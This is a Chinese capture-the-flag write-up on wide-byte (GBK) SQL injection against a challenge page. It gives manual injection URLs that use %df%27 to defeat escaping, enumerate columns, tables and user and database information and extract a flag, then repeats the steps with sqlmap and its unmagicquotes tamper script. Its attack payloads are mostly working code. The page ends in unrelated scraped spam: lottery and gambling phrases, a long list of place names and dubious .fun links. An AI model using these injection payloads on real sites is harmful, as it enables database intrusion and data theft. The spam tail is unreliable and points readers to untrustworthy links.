(宽字节注入) 手注+sqlmap

            进入题目后先简单尝试一下。

            分享图片

             

            很明显的宽字节注入。

            宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

            手工注入
            1、判断列数:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
            order by 3 时报错,说明只有两列。

            2、各类信息:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
            [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

            3、库名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
            sae-chinalover

            4、表名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,group_concat(table_name)
            from information_schema.tables
            where table_schema=database()%23
            ctf,ctf2,ctf3,ctf4,news

            5、ctf4表的列名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,group_concat(column_name)
            from information_schema.columns
            where table_name=0x63746634%23
            id,flag

            这里注意:要将表名ctf4转为16进制

            这里提供一个字符串转16进制的网站:

            http://www.5ixuexiwang.com/str/hex.php

            转了16进制之后记得在前面加上0x

            6、flag列的数据:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,(select flag from ctf4)%23
            flag{this_is_sqli_flag}

            sqlmap跑法
            1、查看有哪些库:
            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
            这个时侯就要用到一个脚本了:

            脚本名:unmagicquotes.py

            作用:宽字符绕过

            分享图片

             

             

            2、表名:

            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

            分享图片

             

             

            3、列名:

            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

             分享图片

             

             

            4、flag列的数据:
            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

            分享图片

            相关文章
            相关标签/搜索
            王中王鉄算好开奖结果四肖期期准铁算盘4887开奖结果四肖三期内必出刘伯温6374cm刘伯温168最快开奖现场开马开奖结果 西和县| 修武县| 腾冲县| 台前县| 青阳县| 连江县| 积石山| 普兰县| 白山市| 连州市| 澜沧| 秦安县| 弥勒县| 广宗县| 磴口县| 怀柔区| 当阳市| 怀来县| 旬邑县| 昭苏县| 和平区| 湟源县| 抚顺市| 寿阳县| 武夷山市| 建始县| 尉氏县| 巴彦县| 元朗区| 六盘水市| 盐源县| 阿巴嘎旗| 景东| 昆明市| 若羌县| 房产| 堆龙德庆县| 夏邑县| 虹口区| 饶河县| 邳州市| 河曲县| 涪陵区| 灵寿县| 黄梅县| 轮台县| 陵川县| 武夷山市| 葵青区| 迭部县| 英超| 景宁| 遵义县| 无锡市| 阿图什市| 简阳市| 酉阳| 波密县| 舟山市| 保靖县| 营山县| 边坝县| 雷波县| 信宜市| 贵南县| 庆阳市| 洛阳市| 金华市| 托克托县| 南乐县| 陵水| 泾源县| 新野县| 阳春市| 邵东县| 南投县| 衡水市| 兴国县| 沁源县| 遵义县| 黄浦区| 海兴县| 达孜县| 扶绥县| 东海县| 屏东县| 喀什市| 龙南县| 西平县| 聂荣县| 同仁县| 阿城市| 浦江县| 永平县| 洮南市| 东兰县| 宁海县| 清徐县| 石门县| 苏尼特右旗| 正镶白旗| 临泽县| 绥芬河市| 高要市| 文登市| 沈丘县| 平武县| 壤塘县| 莱州市| 汉川市| 太湖县| 满城县| 随州市| 顺义区| 巨野县| 天柱县| 和静县| 应城市| 永康市| 福建省| 大同市| 临漳县| 澜沧| 华亭县| 宜都市| 连城县| 蒲城县| 夏河县| 临西县| 襄汾县| 天长市| 饶平县| 瑞金市| 和平县| 灵璧县| 盐津县| 昌图县| 澎湖县| 杭州市| 仙居县| 永兴县| 洪雅县| 武隆县| 莲花县| 雷州市| 凤凰县| 恩施市| 开封县| 乐昌市| 青铜峡市| 五台县| 兴业县| 甘泉县| 四子王旗| 镇江市| 江陵县| 原阳县| 韶关市| 上栗县| 英德市| 顺昌县| 嘉善县| 台州市| 磴口县| 财经| 汪清县| 武穴市| 靖边县| 华阴市| 额尔古纳市| 六枝特区| 永平县| 托克托县| 中阳县| 林甸县| 无锡市| 通州区| 南涧| 牡丹江市| 安岳县| 普安县| 沈阳市| 长寿区| 乌拉特中旗| 临沧市| 依安县| 永丰县| 漳平市| 东台市| 阜平县| 横山县| 怀集县| 老河口市| 南涧| 洛阳市| 新绛县| 卢氏县| 青铜峡市| 禄丰县| 武义县| 宁明县| 浦县| 托克托县| 仁怀市| 疏附县| 宾川县| 遂平县| 阿瓦提县| 嵊泗县| 囊谦县| 淮南市| 榕江县| 喀什市| 鞍山市| 南陵县| 盐边县| 姚安县| 大渡口区| 安义县| 闽侯县| 玉田县| 保亭| 磐安县| 灵石县| 云南省| 额济纳旗| 太湖县| 通道| 正宁县| 新竹市| 平泉县| 昔阳县| 临西县| 新营市| 洪雅县| 镶黄旗| 嘉黎县| 衡东县| 漠河县| 沐川县| 牡丹江市| 玉林市| 宁海县| 钟山县| 饶阳县| 张掖市| 洛南县| 白银市| 黄平县| 汕尾市| 云梦县| 墨江| 石楼县| 新邵县| 江孜县| 林甸县| 陆丰市| 陆川县| 朝阳区| 兴隆县| 鸡西市| 清远市| 广水市| 阳谷县| 沂源县| 顺平县| 云龙县| 济宁市| 交口县| 云南省| 商都县| 原阳县| 独山县| 阜平县| 玉山县| 呼玛县| 永丰县| 河津市| 历史| 襄樊市| 慈溪市| 南皮县| 凤庆县| 五台县| 科尔| 西盟| 五原县| 甘南县| 福建省| 邹城市| 广东省| 万年县| 金门县| 锡林浩特市| 富裕县| 陇南市| 蓝田县| 淮南市| 宁强县| 樟树市| 岳普湖县| 阳泉市| 许昌市| 镇平县| 信宜市| 华阴市| 盐源县| 华容县| 衡南县| 古交市| 镇雄县| 昌图县| 北京市| 枣庄市| 溧水县| 乌什县| 江陵县| 白河县| 木兰县| 石狮市| 当阳市| 富顺县| 美姑县| 阳春市| 许昌县| 邹城市| 苍南县| 咸丰县| 芜湖市| 潞西市| 乌什县| 五大连池市| 砚山县| 乌拉特中旗| 曲水县| 四川省| 重庆市| 岑巩县| 蓬溪县| 汝州市| 安化县| 蓝山县| 二连浩特市| 新绛县| 施甸县| 营口市| 汨罗市| 商洛市| 山东| 天津市| 寻乌县| 营口市| 朝阳县| 肥西县| 金湖县| 靖州| 莫力| 文昌市| 汕头市| 五台县| 龙州县| 达日县| 开原市| 方城县| 宝丰县| 夏津县| 冷水江市| 深圳市| 宿松县| 阿巴嘎旗| 宝清县| 高雄县| 惠来县| 闸北区| 碌曲县| 中方县| 仁布县| 盐山县| 萍乡市| 仲巴县| 抚宁县| 清河县| 临沭县| 乌恰县| 孙吴县| 章丘市| 泗水县| 明光市| 抚宁县| 涟源市| 永泰县| 迭部县| 芮城县| 临澧县| 寿阳县| 库伦旗| 易门县| 云和县| 曲松县| 商南县| 元江| 涞水县| 乌兰察布市| 舞钢市| 当雄县| 蓬安县| 甘洛县| 屯昌县| 江口县| 阳东县| 右玉县| 潮州市| 乌兰察布市| 通河县| 青海省| 林甸县| 许昌县| 周口市| 昭觉县| 嘉峪关市| 故城县| 石台县| 南平市| 桐乡市| 南投县| 恩平市| 同江市| 华宁县| 启东市| 老河口市| 唐海县| 厦门市| 德江县| 西宁市| 临海市| 黄石市| 北碚区| 台南县| 深水埗区| 资源县| 武定县| 鹿泉市| 寿阳县| 蓬安县| 错那县| 屏南县| 邛崃市| 平陆县| 吉安市| 中江县| 吴旗县| 鄯善县| 平遥县| 塘沽区| 岳西县| 天门市| 定南县| 缙云县| 密山市| 泸定县| 永康市| 兴义市| 金溪县| 和硕县| 石首市| 桐城市| 苗栗市| 盐城市| 武陟县| 汾西县| 樟树市| 西平县| 营山县| 惠东县| 临清市| 古田县| 奉新县| 兴隆县| 城固县| 新密市| 平山县| 连州市| 金平| 汽车| 集安市| 密山市| 牡丹江市| 平阴县| 永州市| 固始县| 鄂托克前旗| 奉贤区| 滕州市| 阿城市| 台北市| 邹平县| 黑龙江省| 临泽县| 慈利县| 大荔县| 克东县| 遂宁市| 读书| 阿巴嘎旗| 建始县| 三亚市| 曲水县| 图木舒克市| 永泰县| 吴桥县| 承德县| 玉龙| 遵义县| 岳阳市| 沙河市| 安顺市| 浮梁县| 静宁县| 柘荣县| 乌鲁木齐市| 新宁县| 博罗县| 伊宁市| 兴安盟| 曲阳县| 黔江区| 通山县| 博野县| 出国| 遂溪县| 临澧县| 无棣县| 淮南市| 同仁县| 莱阳市| 黄龙县| 霍邱县| 黔江区| 姜堰市| 德州市| 颍上县| 泗洪县| 涡阳县| 张家港市| 安国市| 祥云县| 莱西市| 彩票| 靖安县| 富裕县| 青铜峡市| 南华县| 双辽市| 莲花县| 兴安县| 澄江县| 读书| 高邑县| 安平县| 潼关县| 千阳县| 龙门县| 漯河市| 怀来县| 周至县| 德安县| 乌兰察布市| 勐海县| 东港市| 定陶县| 南华县| 靖宇县| 泌阳县| 九龙坡区| 太和县| 临湘市| 玉林市| 屏东县| 玛纳斯县| 偏关县| 闽侯县| 福安市| 嘉善县| 昌平区| 邵阳市| 定远县| 玛沁县| 鄂伦春自治旗| 中超| 临武县| 谢通门县| 印江| 娱乐| 康平县| 万年县| 唐河县| 汉川市| 项城市| 卢湾区| 灌云县| 新晃| 嘉鱼县| 乌兰察布市| 九寨沟县| 休宁县| 内丘县| 毕节市| 乌拉特后旗| 阳春市| 兴义市| 江孜县| 息烽县| 洪雅县| 南部县| 舞钢市| http://wap.hz0j0r5vo.fun http://www.jx1870jazzv.fun http://wap.jx1870inventoryv.fun http://wap.jx1870hopv.fun http://m.jx1870financev.fun http://m.jx1870labourv.fun http://hz0j0r0vo.fun http://m.jx1870eyev.fun http://m.hz0j2r6vo.fun http://www.hz0j1r2vo.fun http://jx1870farzv.fun http://www.jx1870frontv.fun http://jx1870gainv.fun http://www.jx1870flagv.fun http://m.jx1870guaranteev.fun http://jx1870feelv.fun http://hz0j0r6vo.fun http://m.jx1870googlev.fun